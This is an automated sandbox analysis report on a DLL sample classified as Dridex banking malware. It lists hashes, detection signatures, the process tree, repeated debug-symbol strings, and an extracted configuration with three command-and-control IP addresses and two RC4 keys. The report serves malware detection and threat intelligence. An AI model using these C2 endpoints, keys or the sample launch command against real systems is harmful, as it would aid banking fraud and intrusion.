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Analysis Report 0f72be74_by_Libranalysis.dll

Overview

General Information

Sample Name:	0f72be74_by_Libranalysis.dll
Analysis ID:	413060
MD5:	0f72be74fa3f62cdc228d4c3b5d84406
SHA1:	66925350b9c8d0919d6eebd6efeab17edac1a3cd
SHA256:	3078512d8dc5547c01c07d044be234a69e79456b0480d9c6d8cbf5354b52021e
Infos:
Most interesting Screenshot:

Detection

Dridex

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Dridex unpacked file

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 6632 cmdline: loaddll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 6648 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6660 cmdline: rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 5888 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6660 -s 764 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 22201, "C2 list": ["43.229.206.212:443", "82.209.17.209:8172", "162.241.209.225:4125"], "RC4 keys": ["16dkGStOzdHgjuCciXGdSX7UrHWfYSUG8wEUtKNgzHrWMfTGafJbC", "39t3NdDhurvpltFNCpvA5goSylkxjIBtIwWPTv1DPbNEcuIekQC7O"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.rundll32.exe.10000000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 2.2.rundll32.exe.10000000.3.unpack

Malware Configuration Extractor: Dridex {"Version": 22201, "C2 list": ["43.229.206.212:443", "82.209.17.209:8172", "162.241.209.225:4125"], "RC4 keys": ["16dkGStOzdHgjuCciXGdSX7UrHWfYSUG8wEUtKNgzHrWMfTGafJbC", "39t3NdDhurvpltFNCpvA5goSylkxjIBtIwWPTv1DPbNEcuIekQC7O"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 0f72be74_by_Libranalysis.dll

ReversingLabs: Detection: 36%

Machine Learning detection for sample

Show sources

Source: 0f72be74_by_Libranalysis.dll

Joe Sandbox ML: detected

Source: 0f72be74_by_Libranalysis.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: 0f72be74_by_Libranalysis.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: dwmapi.pdb2 source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb% source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ClusApi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000009.00000003.730337205.0000000004E78000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: ClusApi.pdbb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: rundll32.pdbk source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbd source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: rasman.pdbF source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb? source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb1 source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdbL source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000009.00000003.734908197.00000000053F1000.00000004.00000040.sdmp
Source:	Binary string: rasman.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: fpmvppp.pdb source: loaddll32.exe, 00000000.00000002.661654430.0000000010025000.00000002.00020000.sdmp, 0f72be74_by_Libranalysis.dll
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb# source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb) source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 43.229.206.212:443
Source: Malware configuration extractor	IPs: 82.209.17.209:8172
Source: Malware configuration extractor	IPs: 162.241.209.225:4125

Source: Joe Sandbox View	IP Address: 82.209.17.209 82.209.17.209
Source: Joe Sandbox View	IP Address: 162.241.209.225 162.241.209.225

Source: Joe Sandbox View	ASN Name: PODA-ASCZ PODA-ASCZ
Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: loaddll32.exe, 00000000.00000002.661599145.00000000012CB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_10011460	2_2_10011460
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_1000846C	2_2_1000846C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_10001494	2_2_10001494
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_1000A52C	2_2_1000A52C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_10011D58	2_2_10011D58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_10019348	2_2_10019348
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_10010754	2_2_10010754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_100090CC	2_2_100090CC

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6660 -s 764

Source: 0f72be74_by_Libranalysis.dll

Binary or memory string: OriginalFilenamex2otfb.dllN vs 0f72be74_by_Libranalysis.dll

Source: 0f72be74_by_Libranalysis.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: 0f72be74_by_Libranalysis.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal72.troj.winDLL@6/4@0/3

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6660

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D7.tmp

Jump to behavior

Source: 0f72be74_by_Libranalysis.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1

Source: 0f72be74_by_Libranalysis.dll

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6660 -s 764
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1	Jump to behavior

Source: 0f72be74_by_Libranalysis.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: 0f72be74_by_Libranalysis.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: dwmapi.pdb2 source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb% source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ClusApi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000009.00000003.730337205.0000000004E78000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: ClusApi.pdbb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: rundll32.pdbk source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbd source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: rasman.pdbF source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb? source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb1 source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdbL source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000009.00000003.734908197.00000000053F1000.00000004.00000040.sdmp
Source:	Binary string: rasman.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: fpmvppp.pdb source: loaddll32.exe, 00000000.00000002.661654430.0000000010025000.00000002.00020000.sdmp, 0f72be74_by_Libranalysis.dll
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000009.00000003.734894194.00000000053E0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb# source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000009.00000003.734880923.0000000005411000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb) source: WerFault.exe, 00000009.00000003.734900850.00000000053E6000.00000004.00000040.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10006207 push ebx; ret	0_2_10006208
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10004E0F push 822377FAh; iretd	0_2_10004E14
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10005813 push eax; ret	0_2_1000590D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10006830 push 82235DBAh; iretd	0_2_10006855
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002C33 push 0E950FD0h; iretd	0_2_10002D7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_1000585A push eax; ret	0_2_1000590D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10005A7B push cs; iretd	0_2_10005B7E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10006A80 push ebx; iretd	0_2_10006A85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002C8E push 0E950FD0h; iretd	0_2_10002D7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_1000388E push 8223930Ah; iretd	0_2_10003893
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100048AF push 8223A1AEh; iretd	0_2_100048B4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100066D0 push 8223737Ah; iretd	0_2_100066D5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100054EF push 822385B2h; iretd	0_2_100054F4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_1000530F push 82230D7Eh; iretd	0_2_10005314
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_1000574F push 82238352h; iretd	0_2_10005754
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100037A2 push cs; retf	0_2_100037DC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100039C3 push edi; retf	0_2_100039C4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10005FD6 push 0E950020h; retf	0_2_10005FDE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002DF3 push cs; iretd	0_2_10002E7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100037F5 push cs; retf	0_2_100037DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_1000F6CC push esi; mov dword ptr [esp], 00000000h	2_2_1000F6CD

Source: initial sample

Static PE information: section name: .text entropy: 7.53078515147

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: WerFault.exe, 00000009.00000002.746926254.0000000005500000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: WerFault.exe, 00000009.00000002.746208870.0000000004D8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000009.00000002.746926254.0000000005500000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WerFault.exe, 00000009.00000002.746926254.0000000005500000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: WerFault.exe, 00000009.00000002.746321633.0000000004E6C000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
